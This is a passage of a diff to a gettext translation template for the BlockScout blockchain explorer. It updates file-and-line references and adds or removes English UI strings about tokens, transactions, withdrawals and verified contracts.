lib/block_scout_web/templates/tokens/inventory/index.html.eex:28 #, elixir-autogen, elixir-format msgid "There are no tokens." msgstr "" +#: lib/block_scout_web/templates/address_transaction/index.html.eex:55 #: lib/block_scout_web/templates/address_transaction/index.html.eex:55 #, elixir-autogen, elixir-format msgid "There are no transactions for this address." msgstr "" -#: lib/block_scout_web/templates/block_transaction/index.html.eex:27 +#: lib/block_scout_web/templates/block_transaction/index.html.eex:19 +#: lib/block_scout_web/templates/block_transaction/index.html.eex:19 #, elixir-autogen, elixir-format msgid "There are no transactions for this block." msgstr "" +#: lib/block_scout_web/templates/transaction/index.html.eex:31 #: lib/block_scout_web/templates/transaction/index.html.eex:31 #, elixir-autogen, elixir-format msgid "There are no transactions." msgstr "" +#: lib/block_scout_web/templates/tokens/instance/holder/index.html.eex:28 #: lib/block_scout_web/templates/tokens/instance/holder/index.html.eex:28 #: lib/block_scout_web/templates/tokens/instance/transfer/index.html.eex:28 -#: lib/block_scout_web/templates/tokens/transfer/index.html.eex:26 +#: lib/block_scout_web/templates/tokens/instance/transfer/index.html.eex:28 +#: lib/block_scout_web/templates/tokens/transfer/index.html.eex:27 +#: lib/block_scout_web/templates/tokens/transfer/index.html.eex:27 #, elixir-autogen, elixir-format msgid "There are no transfers for this Token." msgstr "" -#: lib/block_scout_web/templates/address_coin_balance/index.html.eex:35 +#: lib/block_scout_web/templates/verified_contracts/index.html.eex:99 +#: lib/block_scout_web/templates/verified_contracts/index.html.eex:99 #, elixir-autogen, elixir-format -msgid "There is no coin history for this address." +msgid "There are no verified contracts." +msgstr "" + +#: lib/block_scout_web/templates/address_withdrawal/index.html.eex:54 +#: lib/block_scout_web/templates/address_withdrawal/index.html.eex:54 +#, elixir-autogen, elixir-format +msgid "There are no withdrawals for this address." +msgstr "" + +#: lib/block_scout_web/templates/block_withdrawal/index.html.eex:45 +#: lib/block_scout_web/templates/block_withdrawal/index.html.eex:45 +#, elixir-autogen, elixir-format +msgid "There are no withdrawals for this block." +msgstr "" + +#: lib/block_scout_web/templates/withdrawal/index.html.eex:53 +#: lib/block_scout_web/templates/withdrawal/index.html.eex:53 +#, elixir-autogen, elixir-format +msgid "There are no withdrawals." msgstr "" -#: lib/block_scout_web/templates/address_decompiled_contract/index.html.eex:29 +#: lib/block_scout_web/templates/address_coin_balance/index.html.eex:35 +#: lib/block_scout_web/templates/address_coin_balance/index.html.eex:35 #, elixir-autogen, elixir-format -msgid "There is no decompilded contracts for this address." +msgid "There is no coin history for this address." msgstr "" +#: lib/block_scout_web/templates/address_coin_balance/index.html.eex:21 #: lib/block_scout_web/templates/address_coin_balance/index.html.eex:21 #: lib/block_scout_web/templates/chain/show.html.eex:9 +#: lib/block_scout_web/templates/chain/show.html.eex:9 #, elixir-autogen, elixir-format msgid "There was a problem loading the chart." msgstr "" +#: lib/block_scout_web/templates/api_docs/index.html.eex:6 #: lib/block_scout_web/templates/api_docs/index.html.eex:6 #, elixir-autogen, elixir-format msgid "This API is provided for developers transitioning their applications from Etherscan to BlockScout. It supports GET and POST requests." msgstr "" +#: lib/block_scout_web/templates/api_docs/eth_rpc.html.eex:7 #: lib/block_scout_web/templates/api_docs/eth_rpc.html.eex:7 #, elixir-autogen, elixir-format msgid "This API is provided to support some rpc methods in the exact format specified for ethereum nodes, which can be found " msgstr "" +#: lib/block_scout_web/views/block_transaction_view.ex:11 #: lib/block_scout_web/views/block_transaction_view.ex:11 #, elixir-autogen, elixir-format msgid "This block has not been processed yet." msgstr "" -#: lib/block_scout_web/templates/address_contract/index.html.eex:41 +#: lib/block_scout_web/templates/address_contract/index.html.eex:47 +#: lib/block_scout_web/templates/address_contract/index.html.eex:47 #, elixir-autogen, elixir-format msgid "This contract has been partially verified via Sourcify." msgstr "" -#: lib/block_scout_web/templates/address_contract/index.html.eex:45 +#: lib/block_scout_web/templates/address_contract/index.html.eex:51 +#: lib/block_scout_web/templates/address_contract/index.html.eex:51 #, elixir-autogen, elixir-format msgid "This contract has been verified via Sourcify." msgstr "" +#: lib/block_scout_web/templates/api_docs/eth_rpc.html.eex:10 #: lib/block_scout_web/templates/api_docs/eth_rpc.html.eex:10 #, elixir-autogen, elixir-format msgid "This is useful to allow sending requests to blockscout without having to change anything about the request." msgstr "" -#: lib/block_scout_web/templates/transaction/overview.html.eex:59 +#: lib/block_scout_web/templates/page_not_found/index.html.eex:8 +#: lib/block_scout_web/templates/page_not_found/index.html.eex:8 +#, elixir-autogen, elixir-format +msgid "This page is no longer explorable! If you are lost, use the search bar to find what you are looking for." +msgstr "" + +#: lib/block_scout_web/templates/transaction_state/index.html.eex:22 +#: lib/block_scout_web/templates/transaction_state/index.html.eex:22 +#, elixir-autogen, elixir-format +msgid "This transaction hasn't changed state." +msgstr "" + +#: lib/block_scout_web/templates/transaction/overview.html.eex:64 +#: lib/block_scout_web/templates/transaction/overview.html.eex:64 #, elixir-autogen, elixir-format msgid "This transaction is pending confirmation." msgstr "" #: lib/block_scout_web/templates/block/overview.html.eex:71 -#: lib/block_scout_web/templates/transaction/overview.html.eex:172 +#: lib/block_scout_web/templates/block/overview.html.eex:71 +#: lib/block_scout_web/templates/transaction/overview.html.eex:180 +#: lib/block_scout_web/templates/transaction/overview.html.eex:180 #, elixir-autogen, elixir-format msgid "Timestamp" msgstr "" #: lib/block_scout_web/templates/address_internal_transaction/index.html.eex:32 +#: lib/block_scout_web/templates/address_internal_transaction/index.html.eex:32 +#: lib/block_scout_web/templates/address_token_transfer/index.html.eex:34 #: lib/block_scout_web/templates/address_token_transfer/index.html.eex:34 #: lib/block_scout_web/templates/address_transaction/index.html.eex:28 -#: lib/block_scout_web/templates/transaction/overview.html.eex:215 -#: lib/block_scout_web/views/address_internal_transaction_view.ex:9 -#: lib/block_scout_web/views/address_token_transfer_view.ex:9 -#: lib/block_scout_web/views/address_transaction_view.ex:9 +#: lib/block_scout_web/templates/address_transaction/index.html.eex:28 +#: lib/block_scout_web/templates/block_withdrawal/index.html.eex:29 +#: lib/block_scout_web/templates/block_withdrawal/index.html.eex:29 +#: lib/block_scout_web/templates/transaction/overview.html.eex:267 +#: lib/block_scout_web/templates/transaction/overview.html.eex:267 +#: lib/block_scout_web/templates/withdrawal/index.html.eex:32 +#: lib/block_scout_web/templates/withdrawal/index.html.eex:32 +#: lib/block_scout_web/views/address_internal_transaction_view.ex:10 +#: lib/block_scout_web/views/address_internal_transaction_view.ex:10 +#: lib/block_scout_web/views/address_token_transfer_view.ex:10 +#: lib/block_scout_web/views/address_token_transfer_view.ex:10 +#: lib/block_scout_web/views/address_transaction_view.ex:10 +#: lib/block_scout_web/views/address_transaction_view.ex:10 #, elixir-autogen, elixir-format msgid "To" msgstr "" +#: lib/block_scout_web/templates/transaction/_decoded_input.html.eex:20 #: lib/block_scout_web/templates/transaction/_decoded_input.html.eex:20 #, elixir-autogen, elixir-format msgid "To have guaranteed accuracy, use the link above to verify the contract's source code." msgstr "" #: lib/block_scout_web/templates/address_logs/_logs.html.eex:6 +#: lib/block_scout_web/templates/address_logs/_logs.html.eex:6 +#: lib/block_scout_web/templates/transaction/_decoded_input.html.eex:8 #: lib/block_scout_web/templates/transaction/_decoded_input.html.eex:8 #: lib/block_scout_web/templates/transaction_log/_logs.html.eex:6 +#: lib/block_scout_web/templates/transaction_log/_logs.html.eex:6 #, elixir-autogen, elixir-format msgid "To see accurate decoded input data, the contract must be verified." msgstr "" +#: lib/block_scout_web/templates/layout/_topnav.html.eex:18 #: lib/block_scout_web/templates/layout/_topnav.html.eex:18 #, elixir-autogen, elixir-format msgid "Toggle navigation" msgstr "" -#: lib/block_scout_web/templates/address/overview.html.eex:73 +#: lib/block_scout_web/templates/address/overview.html.eex:55 +#: lib/block_scout_web/templates/address/overview.html.eex:55 +#: lib/block_scout_web/templates/tokens/index.html.eex:31 +#: lib/block_scout_web/templates/tokens/index.html.eex:31 #, elixir-autogen, elixir-format msgid "Token" msgstr "" #: lib/block_scout_web/templates/common_components/_token_transfer_type_display_name.html.eex:3 -#: lib/block_scout_web/views/transaction_view.ex:448 +#: lib/block_scout_web/templates/common_components/_token_transfer_type_display_name.html.eex:3 +#: lib/block_scout_web/views/transaction_view.ex:488 +#: lib/block_scout_web/views/transaction_view.ex:488 #, elixir-autogen, elixir-format msgid "Token Burning" msgstr "" #: lib/block_scout_web/templates/common_components/_token_transfer_type_display_name.html.eex:7 -#: lib/block_scout_web/views/transaction_view.ex:449 +#: lib/block_scout_web/templates/common_components/_token_transfer_type_display_name.html.eex:7 +#: lib/block_scout_web/views/transaction_view.ex:489 +#: lib/block_scout_web/views/transaction_view.ex:489 #, elixir-autogen, elixir-format msgid "Token Creation" msgstr "" #: lib/block_scout_web/templates/tokens/instance/overview/_details.html.eex:10 +#: lib/block_scout_web/templates/tokens/instance/overview/_details.html.eex:10 +#: lib/block_scout_web/templates/tokens/overview/_details.html.eex:34 #: lib/block_scout_web/templates/tokens/overview/_details.html.eex:34 #, elixir-autogen, elixir-format msgid "Token Details" msgstr "" -#: lib/block_scout_web/templates/tokens/holder/index.html.eex:16 +#: lib/block_scout_web/templates/tokens/holder/index.html.eex:17 +#: lib/block_scout_web/templates/tokens/holder/index.html.eex:17 +#: lib/block_scout_web/templates/tokens/instance/holder/index.html.eex:16 #: lib/block_scout_web/templates/tokens/instance/holder/index.html.eex:16 #: lib/block_scout_web/templates/tokens/instance/overview/_tabs.html.eex:17 +#: lib/block_scout_web/templates/tokens/instance/overview/_tabs.html.eex:17 +#: lib/block_scout_web/templates/tokens/overview/_tabs.html.eex:11 #: lib/block_scout_web/templates/tokens/overview/_tabs.html.eex:11 #: lib/block_scout_web/views/tokens/overview_view.ex:40 +#: lib/block_scout_web/views/tokens/overview_view.ex:40 #, elixir-autogen, elixir-format msgid "Token Holders" msgstr "" +#: lib/block_scout_web/templates/tokens/instance/overview/_details.html.eex:38 #: lib/block_scout_web/templates/tokens/instance/overview/_details.html.eex:38 #: lib/block_scout_web/templates/tokens/inventory/_token.html.eex:18 +#: lib/block_scout_web/templates/tokens/inventory/_token.html.eex:18 +#: lib/block_scout_web/templates/tokens/inventory/_token.html.eex:37 #: lib/block_scout_web/templates/tokens/inventory/_token.html.eex:37 #, elixir-autogen, elixir-format msgid "Token ID" msgstr "" #: lib/block_scout_web/templates/common_components/_token_transfer_type_display_name.html.eex:5 -#: lib/block_scout_web/views/transaction_view.ex:447 +#: lib/block_scout_web/templates/common_components/_token_transfer_type_display_name.html.eex:5 +#: lib/block_scout_web/views/transaction_view.ex:487 +#: lib/block_scout_web/views/transaction_view.ex:487 #, elixir-autogen, elixir-format msgid "Token Minting" msgstr "" +#: lib/block_scout_web/templates/common_components/_token_transfer_type_display_name.html.eex:9 #: lib/block_scout_web/templates/common_components/_token_transfer_type_display_name.html.eex:9 #: lib/block_scout_web/templates/common_components/_token_transfer_type_display_name.html.eex:11 -#: lib/block_scout_web/views/transaction_view.ex:450 +#: lib/block_scout_web/templates/common_components/_token_transfer_type_display_name.html.eex:11 +#: lib/block_scout_web/views/transaction_view.ex:490 +#: lib/block_scout_web/views/transaction_view.ex:490 #, elixir-autogen, elixir-format msgid "Token Transfer" msgstr "" +#: lib/block_scout_web/templates/address/_tabs.html.eex:13 #: lib/block_scout_web/templates/address/_tabs.html.eex:13 #: lib/block_scout_web/templates/address_token_transfer/index.html.eex:19 +#: lib/block_scout_web/templates/address_token_transfer/index.html.eex:19 +#: lib/block_scout_web/templates/tokens/instance/overview/_tabs.html.eex:3 #: lib/block_scout_web/templates/tokens/instance/overview/_tabs.html.eex:3 #: lib/block_scout_web/templates/tokens/instance/transfer/index.html.eex:16 +#: lib/block_scout_web/templates/tokens/instance/transfer/index.html.eex:16 +#: lib/block_scout_web/templates/tokens/overview/_tabs.html.eex:5 #: lib/block_scout_web/templates/tokens/overview/_tabs.html.eex:5 -#: lib/block_scout_web/templates/tokens/transfer/index.html.eex:14 +#: lib/block_scout_web/templates/tokens/transfer/index.html.eex:15 +#: lib/block_scout_web/templates/tokens/transfer/index.html.eex:15 +#: lib/block_scout_web/templates/transaction/_tabs.html.eex:4 #: lib/block_scout_web/templates/transaction/_tabs.html.eex:4 #: lib/block_scout_web/templates/transaction_token_transfer/index.html.eex:7 -#: lib/block_scout_web/views/address_view.ex:363 -#: lib/block_scout_web/views/tokens/instance/overview_view.ex:195 +#: lib/block_scout_web/templates/transaction_token_transfer/index.html.eex:7 +#: lib/block_scout_web/views/address_view.ex:355 +#: lib/block_scout_web/views/address_view.ex:355 +#: lib/block_scout_web/views/tokens/instance/overview_view.ex:74 +#: lib/block_scout_web/views/tokens/instance/overview_view.ex:74 +#: lib/block_scout_web/views/tokens/overview_view.ex:39 #: lib/block_scout_web/views/tokens/overview_view.ex:39 -#: lib/block_scout_web/views/transaction_view.ex:511 +#: lib/block_scout_web/views/transaction_view.ex:551 +#: lib/block_scout_web/views/transaction_view.ex:551 #, elixir-autogen, elixir-format msgid "Token Transfers" msgstr "" -#: lib/block_scout_web/templates/address/overview.html.eex:72 +#: lib/block_scout_web/templates/address/overview.html.eex:54 +#: lib/block_scout_web/templates/address/overview.html.eex:54 #, elixir-autogen, elixir-format msgid "Token name and symbol." msgstr "" -#: lib/block_scout_web/templates/tokens/overview/_details.html.eex:141 +#: lib/block_scout_web/templates/tokens/overview/_details.html.eex:142 +#: lib/block_scout_web/templates/tokens/overview/_details.html.eex:142 #, elixir-autogen, elixir-format msgid "Token type" msgstr "" #: lib/block_scout_web/templates/address/_tabs.html.eex:21 -#: lib/block_scout_web/templates/address/overview.html.eex:193 +#: lib/block_scout_web/templates/address/_tabs.html.eex:21 +#: lib/block_scout_web/templates/address/overview.html.eex:177 +#: lib/block_scout_web/templates/address/overview.html.eex:177 +#: lib/block_scout_web/templates/address_token/overview.html.eex:58 #: lib/block_scout_web/templates/address_token/overview.html.eex:58 #: lib/block_scout_web/templates/address_token_transfer/index.html.eex:13 -#: lib/block_scout_web/templates/layout/_topnav.html.eex:73 +#: lib/block_scout_web/templates/address_token_transfer/index.html.eex:13 +#: lib/block_scout_web/templates/layout/_topnav.html.eex:84 +#: lib/block_scout_web/templates/layout/_topnav.html.eex:84 #: lib/block_scout_web/templates/tokens/index.html.eex:10 -#: lib/block_scout_web/views/address_view.ex:360 +#: lib/block_scout_web/templates/tokens/index.html.eex:10 +#: lib/block_scout_web/views/address_view.ex:352 +#: lib/block_scout_web/views/address_view.ex:352 #, elixir-autogen, elixir-format msgid "Tokens" msgstr "" -#: lib/block_scout_web/templates/transaction/overview.html.eex:282 +#: lib/block_scout_web/templates/transaction/overview.html.eex:336 +#: lib/block_scout_web/templates/transaction/overview.html.eex:336 #, elixir-autogen, elixir-format msgid "Tokens Burnt" msgstr "" -#: lib/block_scout_web/templates/transaction/overview.html.eex:298 +#: lib/block_scout_web/templates/transaction/overview.html.eex:352 +#: lib/block_scout_web/templates/transaction/overview.html.eex:352 #, elixir-autogen, elixir-format msgid "Tokens Created" msgstr "" -#: lib/block_scout_web/templates/transaction/overview.html.eex:265 +#: lib/block_scout_web/templates/transaction/overview.html.eex:319 +#: lib/block_scout_web/templates/transaction/overview.html.eex:319 #, elixir-autogen, elixir-format msgid "Tokens Minted" msgstr "" -#: lib/block_scout_web/templates/transaction/overview.html.eex:249 +#: lib/block_scout_web/templates/transaction/overview.html.eex:303 +#: lib/block_scout_web/templates/transaction/overview.html.eex:303 #, elixir-autogen, elixir-format msgid "Tokens Transferred" msgstr "" +#: lib/block_scout_web/templates/address/_metatags.html.eex:13 #: lib/block_scout_web/templates/address/_metatags.html.eex:13 #, elixir-autogen, elixir-format msgid "Top Accounts - %{subnetwork} Explorer" msgstr "" +#: lib/block_scout_web/templates/address_logs/index.html.eex:14 #: lib/block_scout_web/templates/address_logs/index.html.eex:14 #, elixir-autogen, elixir-format msgid "Topic" msgstr "" -#: lib/block_scout_web/templates/address_logs/_logs.html.eex:71 -#: lib/block_scout_web/templates/transaction_log/_logs.html.eex:91 +#: lib/block_scout_web/templates/address_logs/_logs.html.eex:68 +#: lib/block_scout_web/templates/address_logs/_logs.html.eex:68 +#: lib/block_scout_web/templates/transaction_log/_logs.html.eex:100 +#: lib/block_scout_web/templates/transaction_log/_logs.html.eex:100 #, elixir-autogen, elixir-format msgid "Topics" msgstr "" -#: lib/block_scout_web/templates/block/overview.html.eex:169 +#: lib/block_scout_web/templates/verified_contracts/_stats.html.eex:9 +#: lib/block_scout_web/templates/verified_contracts/_stats.html.eex:9 +#: lib/block_scout_web/templates/verified_contracts/_stats.html.eex:22 +#: lib/block_scout_web/templates/verified_contracts/_stats.html.eex:22 +#, elixir-autogen, elixir-format +msgid "Total" +msgstr "" + +#: lib/block_scout_web/templates/block/overview.html.eex:170 +#: lib/block_scout_web/templates/block/overview.html.eex:170 +#, elixir-autogen, elixir-format +msgid "Total Difficulty" +msgstr "" + +#: lib/block_scout_web/templates/tokens/index.html.eex:43 +#: lib/block_scout_web/templates/tokens/index.html.eex:43 #, elixir-autogen, elixir-format -msgid "Total Difficulty" +msgid "Total Supply" msgstr "" -#: lib/block_scout_web/templates/tokens/overview/_details.html.eex:82 +#: lib/block_scout_web/templates/tokens/overview/_details.html.eex:84 +#: lib/block_scout_web/templates/tokens/overview/_details.html.eex:84 #, elixir-autogen, elixir-format msgid "Total Supply * Price" msgstr "" -#: lib/block_scout_web/templates/chain/show.html.eex:130 +#: lib/block_scout_web/templates/chain/show.html.eex:133 +#: lib/block_scout_web/templates/chain/show.html.eex:133 #, elixir-autogen, elixir-format msgid "Total blocks" msgstr "" -#: lib/block_scout_web/templates/block/overview.html.eex:168 +#: lib/block_scout_web/templates/block/overview.html.eex:169 +#: lib/block_scout_web/templates/block/overview.html.eex:169 #, elixir-autogen, elixir-format msgid "Total difficulty of the chain until this block." msgstr "" -#: lib/block_scout_web/templates/block/overview.html.eex:186 +#: lib/block_scout_web/templates/block/overview.html.eex:188 +#: lib/block_scout_web/templates/block/overview.html.eex:188 #, elixir-autogen, elixir-format msgid "Total gas limit provided by all transactions in the block." msgstr "" +#: lib/block_scout_web/templates/tokens/overview/_details.html.eex:68 #: lib/block_scout_web/templates/tokens/overview/_details.html.eex:68 #, elixir-autogen, elixir-format msgid "Total supply" msgstr "" -#: lib/block_scout_web/templates/transaction/overview.html.eex:329 +#: lib/block_scout_web/templates/transaction/overview.html.eex:383 +#: lib/block_scout_web/templates/transaction/overview.html.eex:383 #, elixir-autogen, elixir-format msgid "Total transaction fee." msgstr "" -#: lib/block_scout_web/templates/chain/show.html.eex:109 +#: lib/block_scout_web/templates/chain/show.html.eex:112 +#: lib/block_scout_web/templates/chain/show.html.eex:112 #, elixir-autogen, elixir-format msgid "Total transactions" msgstr "" +#: lib/block_scout_web/templates/account/tag_transaction/form.html.eex:11 +#: lib/block_scout_web/templates/account/tag_transaction/form.html.eex:11 +#: lib/block_scout_web/templates/account/tag_transaction/index.html.eex:23 +#: lib/block_scout_web/templates/account/tag_transaction/index.html.eex:23 #: lib/block_scout_web/templates/address_logs/_logs.html.eex:19 -#: lib/block_scout_web/views/transaction_view.ex:460 +#: lib/block_scout_web/templates/address_logs/_logs.html.eex:19 +#: lib/block_scout_web/views/transaction_view.ex:500 +#: lib/block_scout_web/views/transaction_view.ex:500 #, elixir-autogen, elixir-format msgid "Transaction" msgstr "" +#: lib/block_scout_web/templates/transaction/_metatags.html.eex:3 #: lib/block_scout_web/templates/transaction/_metatags.html.eex:3 #, elixir-autogen, elixir-format msgid "Transaction %{transaction} - %{subnetwork} Explorer" msgstr "" +#: lib/block_scout_web/templates/transaction/_metatags.html.eex:11 #: lib/block_scout_web/templates/transaction/_metatags.html.eex:11 #, elixir-autogen, elixir-format msgid "Transaction %{transaction}, %{subnetwork} %{transaction}" msgstr "" -#: lib/block_scout_web/templates/transaction/overview.html.eex:404 +#: lib/block_scout_web/templates/transaction/overview.html.eex:225 +#: lib/block_scout_web/templates/transaction/overview.html.eex:225 +#, elixir-autogen, elixir-format +msgid "Transaction Action" +msgstr "" + +#: lib/block_scout_web/templates/transaction/overview.html.eex:470 +#: lib/block_scout_web/templates/transaction/overview.html.eex:470 #, elixir-autogen, elixir-format msgid "Transaction Burnt Fee" msgstr "" +#: lib/block_scout_web/templates/transaction/overview.html.eex:50 #: lib/block_scout_web/templates/transaction/overview.html.eex:50 #, elixir-autogen, elixir-format msgid "Transaction Details" msgstr "" -#: lib/block_scout_web/templates/transaction/overview.html.eex:330 +#: lib/block_scout_web/templates/transaction/overview.html.eex:384 +#: lib/block_scout_web/templates/transaction/overview.html.eex:384 #, elixir-autogen, elixir-format msgid "Transaction Fee" msgstr "" -#: lib/block_scout_web/templates/transaction/overview.html.eex:75 +#: lib/block_scout_web/templates/transaction/overview.html.eex:80 +#: lib/block_scout_web/templates/transaction/overview.html.eex:80 #, elixir-autogen, elixir-format msgid "Transaction Hash" msgstr "" #: lib/block_scout_web/templates/transaction/_decoded_input_body.html.eex:2 +#: lib/block_scout_web/templates/transaction/_decoded_input_body.html.eex:2 +#: lib/block_scout_web/templates/transaction/_decoded_input_body.html.eex:19 #: lib/block_scout_web/templates/transaction/_decoded_input_body.html.eex:19 #, elixir-autogen, elixir-format msgid "Transaction Inputs" msgstr "" -#: lib/block_scout_web/templates/transaction/overview.html.eex:354 +#: lib/block_scout_web/templates/account/common/_nav.html.eex:13 +#: lib/block_scout_web/templates/account/common/_nav.html.eex:13 +#: lib/block_scout_web/templates/account/tag_transaction/index.html.eex:7 +#: lib/block_scout_web/templates/account/tag_transaction/index.html.eex:7 +#: lib/block_scout_web/templates/layout/_account_menu_item.html.eex:17 +#: lib/block_scout_web/templates/layout/_account_menu_item.html.eex:17 +#, elixir-autogen, elixir-format +msgid "Transaction Tags" +msgstr "" + +#: lib/block_scout_web/templates/transaction/overview.html.eex:414 +#: lib/block_scout_web/templates/transaction/overview.html.eex:414 #, elixir-autogen, elixir-format msgid "Transaction Type" msgstr "" -#: lib/block_scout_web/templates/transaction/overview.html.eex:427 +#: lib/block_scout_web/templates/transaction/overview.html.eex:534 +#: lib/block_scout_web/templates/transaction/overview.html.eex:534 #, elixir-autogen, elixir-format msgid "Transaction number from the sending address. Each transaction sent from an address increments the nonce by 1." msgstr "" -#: lib/block_scout_web/templates/transaction/overview.html.eex:353 +#: lib/block_scout_web/templates/transaction/overview.html.eex:413 +#: lib/block_scout_web/templates/transaction/overview.html.eex:413 #, elixir-autogen, elixir-format msgid "Transaction type, introduced in EIP-2718." msgstr "" #: lib/block_scout_web/templates/address/_tabs.html.eex:7 -#: lib/block_scout_web/templates/address/overview.html.eex:204 -#: lib/block_scout_web/templates/address/overview.html.eex:210 -#: lib/block_scout_web/templates/address/overview.html.eex:218 +#: lib/block_scout_web/templates/address/_tabs.html.eex:7 +#: lib/block_scout_web/templates/address/_tile.html.eex:31 +#: lib/block_scout_web/templates/address/_tile.html.eex:31 +#: lib/block_scout_web/templates/address/overview.html.eex:188 +#: lib/block_scout_web/templates/address/overview.html.eex:188 +#: lib/block_scout_web/templates/address/overview.html.eex:194 +#: lib/block_scout_web/templates/address/overview.html.eex:194 +#: lib/block_scout_web/templates/address/overview.html.eex:202 +#: lib/block_scout_web/templates/address/overview.html.eex:202 +#: lib/block_scout_web/templates/address_transaction/index.html.eex:13 #: lib/block_scout_web/templates/address_transaction/index.html.eex:13 +#: lib/block_scout_web/templates/block/_tabs.html.eex:4 +#: lib/block_scout_web/templates/block/_tabs.html.eex:4 #: lib/block_scout_web/templates/block/overview.html.eex:80 -#: lib/block_scout_web/templates/block_transaction/index.html.eex:10 -#: lib/block_scout_web/templates/chain/show.html.eex:213 -#: lib/block_scout_web/templates/layout/_topnav.html.eex:48 -#: lib/block_scout_web/views/address_view.ex:362 +#: lib/block_scout_web/templates/block/overview.html.eex:80 +#: lib/block_scout_web/templates/chain/show.html.eex:216 +#: lib/block_scout_web/templates/chain/show.html.eex:216 +#: lib/block_scout_web/templates/layout/_topnav.html.eex:49 +#: lib/block_scout_web/templates/layout/_topnav.html.eex:49 +#: lib/block_scout_web/views/address_view.ex:354 +#: lib/block_scout_web/views/address_view.ex:354 #, elixir-autogen, elixir-format msgid "Transactions" msgstr "" -#: lib/block_scout_web/templates/address/overview.html.eex:119 +#: lib/block_scout_web/templates/address/overview.html.eex:101 +#: lib/block_scout_web/templates/address/overview.html.eex:101 #, elixir-autogen, elixir-format msgid "Transactions and address of creation." msgstr "" -#: lib/block_scout_web/templates/address/_tile.html.eex:31 -#, elixir-autogen, elixir-format -msgid "Transactions sent" -msgstr "" - -#: lib/block_scout_web/templates/address/overview.html.eex:231 -#: lib/block_scout_web/templates/address/overview.html.eex:237 -#: lib/block_scout_web/templates/address/overview.html.eex:245 +#: lib/block_scout_web/templates/address/overview.html.eex:215 +#: lib/block_scout_web/templates/address/overview.html.eex:215 +#: lib/block_scout_web/templates/address/overview.html.eex:221 +#: lib/block_scout_web/templates/address/overview.html.eex:221 +#: lib/block_scout_web/templates/address/overview.html.eex:229 +#: lib/block_scout_web/templates/address/overview.html.eex:229 #: lib/block_scout_web/templates/tokens/instance/overview/_details.html.eex:50 -#: lib/block_scout_web/templates/tokens/overview/_details.html.eex:118 +#: lib/block_scout_web/templates/tokens/instance/overview/_details.html.eex:50 +#: lib/block_scout_web/templates/tokens/overview/_details.html.eex:119 +#: lib/block_scout_web/templates/tokens/overview/_details.html.eex:119 #, elixir-autogen, elixir-format msgid "Transfers" msgstr "" +#: lib/block_scout_web/templates/api_docs/_action_tile.html.eex:40 #: lib/block_scout_web/templates/api_docs/_action_tile.html.eex:40 #: lib/block_scout_web/templates/api_docs/_eth_rpc_item.html.eex:47 +#: lib/block_scout_web/templates/api_docs/_eth_rpc_item.html.eex:47 #, elixir-autogen, elixir-format msgid "Try it out" msgstr "" +#: lib/block_scout_web/templates/address_contract_verification_common_fields/_fetch_constructor_args.html.eex:3 +#: lib/block_scout_web/templates/address_contract_verification_common_fields/_fetch_constructor_args.html.eex:3 +#, elixir-autogen, elixir-format +msgid "Try to fetch constructor arguments automatically" +msgstr "" + +#: lib/block_scout_web/templates/layout/_footer.html.eex:27 #: lib/block_scout_web/templates/layout/_footer.html.eex:27 #, elixir-autogen, elixir-format msgid "Twitter" msgstr "" -#: lib/block_scout_web/templates/layout/app.html.eex:49 +#: lib/block_scout_web/templates/layout/app.html.eex:53 +#: lib/block_scout_web/templates/layout/app.html.eex:53 #, elixir-autogen, elixir-format msgid "Tx/day" msgstr "" +#: lib/block_scout_web/templates/verified_contracts/index.html.eex:66 +#: lib/block_scout_web/templates/verified_contracts/index.html.eex:66 +#, elixir-autogen, elixir-format +msgid "Txns" +msgstr "" + +#: lib/block_scout_web/templates/log/_data_decoded_view.html.eex:5 #: lib/block_scout_web/templates/log/_data_decoded_view.html.eex:5 #: lib/block_scout_web/templates/transaction/_decoded_input_body.html.eex:22 +#: lib/block_scout_web/templates/transaction/_decoded_input_body.html.eex:22 #, elixir-autogen, elixir-format msgid "Type" msgstr "" -#: lib/block_scout_web/templates/tokens/overview/_details.html.eex:140 +#: lib/block_scout_web/templates/tokens/overview/_details.html.eex:141 +#: lib/block_scout_web/templates/tokens/overview/_details.html.eex:141 #, elixir-autogen, elixir-format msgid "Type of the token standard" msgstr "" -#: lib/block_scout_web/templates/transaction/overview.html.eex:453 +#: lib/block_scout_web/templates/visualize_sol2uml/index.html.eex:5 +#: lib/block_scout_web/templates/visualize_sol2uml/index.html.eex:5 +#, elixir-autogen, elixir-format +msgid "UML diagram" +msgstr "" + +#: lib/block_scout_web/templates/transaction/overview.html.eex:560 +#: lib/block_scout_web/templates/transaction/overview.html.eex:560 #, elixir-autogen, elixir-format msgid "UTF-8" msgstr "" -#: lib/block_scout_web/views/block_view.ex:75 +#: lib/block_scout_web/views/block_view.ex:77 +#: lib/block_scout_web/views/block_view.ex:77 #, elixir-autogen, elixir-format msgid "Uncle Reward" msgstr "" -#: lib/block_scout_web/templates/block/overview.html.eex:250 -#: lib/block_scout_web/templates/layout/_topnav.html.eex:36 +#: lib/block_scout_web/templates/block/overview.html.eex:252 +#: lib/block_scout_web/templates/block/overview.html.eex:252 +#: lib/block_scout_web/templates/layout/_topnav.html.eex:41 +#: lib/block_scout_web/templates/layout/_topnav.html.eex:41 #, elixir-autogen, elixir-format msgid "Uncles" msgstr "" -#: lib/block_scout_web/views/transaction_view.ex:341 +#: lib/block_scout_web/views/transaction_view.ex:367 +#: lib/block_scout_web/views/transaction_view.ex:367 #, elixir-autogen, elixir-format msgid "Unconfirmed" msgstr "" +#: lib/block_scout_web/templates/tokens/inventory/_token.html.eex:9 #: lib/block_scout_web/templates/tokens/inventory/_token.html.eex:9 #, elixir-autogen, elixir-format msgid "Unique Token" msgstr "" -#: lib/block_scout_web/templates/transaction/overview.html.eex:74 +#: lib/block_scout_web/templates/transaction/overview.html.eex:79 +#: lib/block_scout_web/templates/transaction/overview.html.eex:79 #, elixir-autogen, elixir-format msgid "Unique character string (TxID) assigned to every verified transaction." msgstr "" -#: lib/block_scout_web/templates/transaction/overview.html.eex:383 +#: lib/block_scout_web/templates/account/api_key/form.html.eex:7 +#: lib/block_scout_web/templates/account/api_key/form.html.eex:7 +#: lib/block_scout_web/templates/account/custom_abi/form.html.eex:8 +#: lib/block_scout_web/templates/account/custom_abi/form.html.eex:8 +#, elixir-autogen, elixir-format +msgid "Update" +msgstr "" + +#: lib/block_scout_web/templates/transaction/overview.html.eex:449 +#: lib/block_scout_web/templates/transaction/overview.html.eex:449 #, elixir-autogen, elixir-format msgid "User defined maximum fee (tip) per unit of gas paid to validator for transaction prioritization." msgstr "" -#: lib/block_scout_web/templates/transaction/overview.html.eex:393 +#: lib/block_scout_web/templates/transaction/overview.html.eex:459 +#: 